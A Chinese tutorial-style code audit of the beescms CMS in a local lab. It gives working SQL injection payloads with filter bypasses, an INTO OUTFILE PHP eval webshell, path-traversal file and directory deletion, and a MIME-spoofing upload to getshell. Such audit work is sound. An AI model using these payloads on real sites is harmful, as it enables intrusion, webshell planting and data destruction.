前言
在跟着学习过几个简单的CMS代码审计后,也尝试自己去进行了一次代码审计,本次的代码审计针对的是beescms,过程记录如下,希望能对初学代码审计的师傅有所帮助。
环境搭建
beescms链接如下
https://pan.baidu.com/s/1slSoqIx
下载并解压过后,访问/install
代码审计
先查看cms结构
几个常见文件夹功能如下
admin:管理员后台文件夹
data: 系统处理数据相关目录
emplate: 模板文件夹
install :网站进行安装的文件夹
upload :上传功能文件夹
了解了大致的文件夹结构,也知道了其功能,接下来开始进行代码审计
SQL注入
admin/login.php
SQL注入的话很可能出现在登录框这种界面中,这里的话我们采用先黑盒,后白盒的方式来进行审计,登录框的话,我们想到后台登录界面,肯定存在登录框,因此我们访问admin/login.pphp
测试一下闭合方式,同时看是否有过滤,用单引号来试一下
出现了报错,这意味着很可能有戏,此时我们尝试用#
来闭合,看语句是否正常
说不存在此用户,没有报错错误,那说明成功闭合了,这里存在SQL注入
查看字段数
1' order by 5
这个正常,再查看查看6
1' order by 6
所以字段数为5,查看回显位
-1' union select 1,2,3,4,5#
报错了,但你从它的报错语句中可以看出union select
消失了,这说明存在过滤,这两个被过滤了,看一下源代码
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
可以看出用户名和密码都被fl_value
和fl_html
函数包裹,跟进查看一下这两个函数
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
对函数htmlspecialchars
进行简单解释
htmlspecialchars — 将特殊字符转换为 HTML 实体
这里的话明显的可以看出对XSS和SQL注入进行了防护,过滤了很多SQL注入的字符,但是吧,它是直接替换掉了,这里其实可以考虑双写绕过,但是想到联合查询在这里即使成功也只是返回一个密码不正确,没啥用,所以不再尝试,这里的话可以考虑布尔盲注和报错注入,我这里试一下报错注入,因为and被ban,所以用or,因为updatexml
中的update
被ban,所以在这里用extractvalue
来进行
1' or (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
爆表
这里的话其实过滤的是比较多的,select
、from
、where
和=
这些都被ban了,不过这里其实还都是可以尝试绕过一下的,如同之前所说,采用双写绕过即可
各个字符绕过方法如下
select:seselectlect
from: fr from om
where: wh where ere
=: like
构造payload如下
1' or (extractvalue(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'root' limit 1,1),0x7e)))#
爆列
1' or (extractvalue(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e)))#
爆字段
-1' or (extractvalue(1,concat(0x7e,(seselectlect admin_name fr from om bees_admin),0x7e)))#
这个只是常规的注入,这里我们还可以尝试一下去写入shell
写shell
用联合查询,将一句话木马传入到该CMS中,从而ghtshell,但是有个条件,即
知道该CMS的绝对路径
写入shell,写的是一句话木马,即<?php @eval($_POST[1]);?>
这种,但这里有过滤XSS的函数,会对<
和>
标签进行转义,因此我们这里的话选用十六编码来进行绕过
开始写
-1'un union ion seleselectct 1,2,3,4,0x3c3f70687020406576616c28245f504f53545b315d293b3f3e in into outoutfilefile 'D:/phpStudy/PHPTutorial/WWW/beescms/1.php'#
查看根目录下
连接shell
admin_admin.php(失败)
//删除管理员
elseif($action=='admin_del'){
if(!check_purview('admin_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$id = intval($_GET['id']);
$rel=$GLOBALS['mysql']->fetch_asc('select admin_purview,admin_name from '.DB_PRE."admin where id=".$id);
$purview=isset($rel[0]['admin_purview'])?$rel[0]['admin_purview']:'';
$user=isset($rel[0]['admin_name'])?$rel[0]['admin_name']:'';
if($purview==1){
$admin_num=$GLOBALS['mysql']->fetch_rows("select id from ".DB_PRE."admin where admin_purview=1");
if($admin_num==1){err('<span style="color:red">请先添加一个超级管理员</span>');}
}
if($user==$_SESSION['admin']){msg('<span style="color:red">不能删除正在使用的管理员【'.$_SESSION['admin'].'】</span>');}
$GLOBALS['mysql']->query("delete from ".DB_PRE."admin where id=".$id);
msg('<span style="color:red">管理用户删除成功</span>','?');
}
主要关注这句话
$rel=$GLOBALS['mysql']->fetch_asc('select admin_purview,admin_name from '.DB_PRE."admin where id=".$id);
这里的id是我们可控的参数,我们跟进看一下id的传值方式,发现$id = intval($_GET['id']);
,被intval包裹了,因此这里的话无法进行注入,这里属于是误报了,下一处。
admin_ajax.php(失败)
elseif($action=='change_pic_alt'){
$id= intval($_REQUEST['id']);
$val = $_REQUEST['val'];
if(empty($id)){die(0);}
$val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'";
$sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id;
$mysql->query($sql);
die($id);
}
//其它操作
else{
die('没有参数');
}
echo PW;
这里的话可控的依旧是id变量,查看其传值方式$id= intval($_REQUEST['id']);
,类似于上一个,不存在SQL注入,误报+1
这个文件下还有一处
//排序
elseif($action=='order'){
$table=$_REQUEST['table'];
$field = $_REQUEST['field'];
$id = intval($_REQUEST['id']);
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="lang"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache/lang_cache.php';
$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
}elseif($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
}
creat_inc($cache_file,$str);
}
id参数依旧经过了intval
函数,这个万恶的函数怎么一直有哇,下一个。
经测试
后面诸多报出SQL注入漏洞的都是id参数,但都被函数intval
包裹,不存在SQL注入,这里不再枚举,大家可自行测试
XSS
想着存在SQL注入的地方可能会存在XSS,这里再查看一下
admin/login.php(失败)
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
发现fl_html
函数,上文跟进过,这里再看一下
function fl_html($str){
return htmlspecialchars($str);
}
对<
和'
这些特殊字符进行了HTML实体化,这看似意味着我们无法闭合语句,但实际上服务端会对其进行一次解码,也就是说这里的话其实是无实际意义的,我们构造payload如下
admin'or <script>alert(1)</script>#
看着这个报错我也是有点懵,感觉像是#未发挥作用,但从这里的语句可以看出来,它的标签这些都是未被转义的,也就验证了刚刚的说法,不过这里不知道为什么不能成功触发XSS,保留疑问,如果有大师傅知道的话还请指点一二。
任意文件及目录删除
admin_ajax.php
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}
查看各个变量的传值方式
action
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
value
$value=$_REQUEST['value'];
因此这里的变量都是可控的,我们令action
为del_pic
,接下来控制value的值即可实现删除文件,但此时它是只能删除upload路径下的文件,我们想要实现任意文件删除的话,该怎么办呢,这里就可以利用.
和/
实现,这里在根目录下创建一个1.php进行测试
查看本地
成功删除
admin/admin_db.php
//删除数据文件
elseif($action=='del'){
if(!check_purview('data_import')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$fl = $_GET['fl'];
if(empty($fl)){err('<span style="color:red">参数传递错误,请重新操作</span>');}
$db_handler=@opendir(DATA_PATH.'backup/'.$fl);
if($db_handler){
while(false!==($d_file=readdir($db_handler))){
@unlink(DATA_PATH.'backup/'.$fl.'/'.$d_file);
}
}
@rmdir(DATA_PATH.'backup/'.$fl);
msg($fl.'删除成功','?action=import&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
简单读一下代码,这里的话就是要求这个fl参数是在data/backup
路径下的,而且里面有内容,此时就会删除这个fl下的文件,但这个fl变量没有限制,这也就意味着我们可以借.
和/
实现目录穿越,可以直接把backup目录删除,甚至data目录都可以给它干没了,接下来来实操一下
本地看一下
接下来再大胆一点,删了data目录
删完就报错了
这个没有完全删除data目录,对比一下可以看出文件已被删除,
为什么目录没被删除呢,再看一下这两行代码
while(false!==($d_file=readdir($db_handler))){
@unlink(DATA_PATH.'backup/'.$fl.'/'.$d_file);
这里删除的是$d_file
,这个变量它是可读的db_handler
,如果是文件夹的话,当然读不出来什么东西,它只能得到一堆文件名,只有文件才可读,所以这就造成了data未完全删除,只删了文件。
admin/admin_catagory.php(失败)
//删除栏目
elseif($action=='del'){
if(!check_purview('cate_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$id=intval($_GET['id']);
//判断是否有内容
$has_content=$GLOBALS['mysql']->fetch_rows("select id from ".DB_PRE."maintb where category=".$id);
if($has_content){msg('<span style="color:red">请先删除该栏目下的内容</span>');}
del_cate_child($id,$lang);
$GLOBALS['mysql']->query('delete from '.DB_PRE.'category where cate_parent='.$id." and lang='".$lang."'");
$GLOBALS['mysql']->query('delete from '.DB_PRE.'category where id='.$id." and lang='".$lang."'");
if(file_exists(DATA_PATH.'cache_cate/cache_category'.$parent.'_'.$lang.'.php')){
unlink(DATA_PATH.'cache_cate/cache_category'.$parent.'_'.$lang.'.php');
}
这里的话可以看见这个unlink函数中可控的有parent
和lang
变量,但前面限制了目录是data/cache_cate/cache_category
,这个本无可厚非,利用目录穿越即可跳跃到其他目录,但这个unlink函数执行的条件是
file_exists(DATA_PATH.'cache_cate/cache_category'.$parent.'_'.$lang.'.php'
这就意味着必须是该路径下存在的文件
也就是这些,这也就是说只有parent为数字,lang为cn
或者en
时才能满足条件,才能包含,但此时又无法实现任意文件删除,只能删除这几个文件,因此这里是无法实现任意文件删除。
任意文件包含
admin/admin_catagory.php(失败)
代码如下
//栏目列表
if($action=='catagory'){
$file_path=DATA_PATH.'cache_cate/cate_list_'.$lang.'.php';
if(file_exists($file_path)){
include($file_path);
}
乍一看的话感觉这里是存在注入点的,因为$lang
可控,查看一下变量传值方式
$lang=isset($_REQUEST['lang'])?fl_html(fl_value($_REQUEST['lang'])):get_lang_main();
感觉我们如果用../
的话进行目录穿越,就可以实现任意文件包含,但仔细看的话,他这个变量前面是路径data/cache_cate/cate_list_
,然后它把变量lang以及php
进行了拼接,检验这个是否存在,存在才去包含,这意味着限制了文件只能是该目录下的几个文件才可以实现包含,去该目录下进行查看
也就是说只能是这三个文件才能正常包含,此时也就限制了lang的值只有三种可能,即1
、cn
和en
因此这里的话无法实现任意文件包含,下一处
$lang=isset($_REQUEST['lang'])?fl_html(fl_value($_REQUEST['lang'])):get_lang_main();
if(file_exists(DATA_PATH.$lang.'_info.php')){include(DATA_PATH.$lang.'_info.php');}//语言网站配置$_confing
这个的话与上面类似,它是后缀是_info.php
,同样能满足条件的也只有那几个文件了,也就相当于变相的限制了变量的值,所以也无法实现任意文件包含,下一处
admin_channel.php(失败)
//开始导入字段
elseif($action=='save_backup')
{
if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$channel_id = intval($_POST['channel_id']);
if(empty($channel_id))
{
msg('参数发生错误!请重新操作!');
}
//判断是否存在文件
$file_name = $_POST['file_name'];
if(empty($file_name))
{
msg('文件名不能为空!');
}
$file_path = DATA_PATH.'backup/'.$file_name.'.php';
if(!file_exists($file_path))
{
msg('不存在导入文件,请检查data/backup目录下是否存在文件');
}
include($file_path);
同之前相似,检验了文件是否存在,也就是变相的限制了变量的值,无法实现目录穿越,因此无法实现任意文件删除
文件上传
文件上传可以关注type="file"
和move_upload_file()
等等
这里搜索一下type="file"
开始审计
admin/upload.php
<?php
if(isset($_FILES['up'])){
if(is_uploaded_file($_FILES['up']['tmp_name'])){
if($up_type=='pic'){
$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
$logo=0;
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
$pic=$value_arr['pic'];
if(!empty($value_arr['thumb'])){
$pic=$value_arr['thumb'];
}
$str="<script type=\"text/javascript\">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
echo $str;
exit;
}//图片上传
}else{
die('没有上传文件或文件大小超过服务器限制大小<a href="javascript:history.back(1);">返回重新上传</a>');
}
}
?>
这里的话看起来猜测是是限制了MIME类型为图片,主要看的是这行代码
$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
这句话后面代码被up_img
函数包裹,跟进查看一下这个函数
function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
if(is_uploaded_file($file['tmp_name'])){
if($file['size']>$size){
msg('图片超过'.$size.'大小');
}
$pic_name=pathinfo($file['name']);//图片信息
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
msg('上传图片格式不正确');
}
$path_name="upload/img/";
$path=CMS_PATH.$path_name;
if(!file_exists($path)){
@mkdir($path);
}
$up_file_name=empty($pic_alt)?date('YmdHis').rand(1,10000):$pic_alt;
$up_file_name2=iconv('UTF-8','GBK',$up_file_name);
$file_name=$path.$up_file_name2.'.'.$pic_name['extension'];
if(file_exists($file_name)){
msg('已经存在该图片,请更改图片名称!');//判断是否重名
}
$return_name['up_pic_size']=$file['size'];//上传图片大小
$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
$return_name['up_pic_name']=$up_file_name;//上传图片名
$return_name['up_pic_path']=$path_name;//上传图片路径
$return_name['up_pic_time']=time();//上传时间
unset($pic_name);
//开始上传
if(!move_uploaded_file($file['tmp_name'],$file_name)){
msg('图片上传失败','',0);
}
发现$file_type=$file['type'];
,这里也就是将上传文件的Content-type
与它要求的Content-type
进行了比对,如果不一致就报错,也就是限制了MIME类型,同时还有这几行代码
if($file['size']>$size){
msg('图片超过'.$size.'大小');
}
限制了文件大小,不能上传过大的文件。那我们这里的话修改MIME类型,是不是就可以上传木马文件了呢。
抓包试一下
可以发现直接上传的话因为MIME类型,即Content-type
类型不符合要求而无法上传,我们这里修改一下MIME类型
成功上传
这里的话一般后台都是放在upload文件夹下,因此我们访问
http://127.0.0.1:8080/beescms/upload/img/202207162207331297.php
蚁剑连接
成功getshell
已知这个up_img函数过滤不严格,那我们就可以通过搜索它来找到其他漏洞点
发现admin_pic_upload.php
admin/admin_pic_upload.php
书接上回,它里面含有up_img函数,找到主要代码
if(is_uploaded_file($v)){
$pic_info['tmp_name']=$v;
$pic_info['size']=$_FILES['up']['size'][$k];
$pic_info['type']=$_FILES['up']['type'][$k];
$pic_info['name']=$_FILES['up']['name'][$k];
$pic_name_alt=empty($is_alt)?'':$pic_alt[$k];
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($pic_info,$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png'),$up_is_thumb,$up_thumb_width,$up_thumb_height,$logo=1,$pic_name_alt);
//处理上传后的图片信息
$pic_name=$value_arr['up_pic_name'];//图片名称空
$pic_ext=$value_arr['up_pic_ext'];//图片扩展名
$pic_title = $pic_alt[$k];//图片描述
$pic_size = $value_arr['up_pic_size'];//图片大小
$pic_path = $value_arr['up_pic_path'];//上传路径
$pic_time = $value_arr['up_pic_time'];//上传时间
$pic_thumb = iconv('GBK','UTF-8',$value_arr['thumb']);//缩略图
$cate = empty($pic_cate)?1:$pic_cate;//图片栏目
//入库
$sql="insert into ".DB_PRE."uppics (pic_name,pic_ext,pic_alt,pic_size,pic_path,pic_time,pic_thumb,pic_cate) values ('".$pic_name."','".$pic_ext."','".$pic_title."','".$pic_size."','".$pic_path."','".$pic_time."','".$pic_thumb."',".$cate.")";
$mysql->query($sql);
看起来跟之前那个不能说是毫无联系,只能说是一模一样,抓包试试看
可以在bp中看见上传路径,网页端也可以
蚁剑连接
总结
自己手动找漏洞点的话是比较麻烦的,一般都是使用工具,但工具只是作为辅助,会出现误判和少点等情况,因此我们不能仅依靠工具来找漏洞点,也需要自己去挖掘漏洞点才能够找出更多的漏洞。至此,小白的本次代码审计就告以段落了,学习代码审计,我们永远在路上。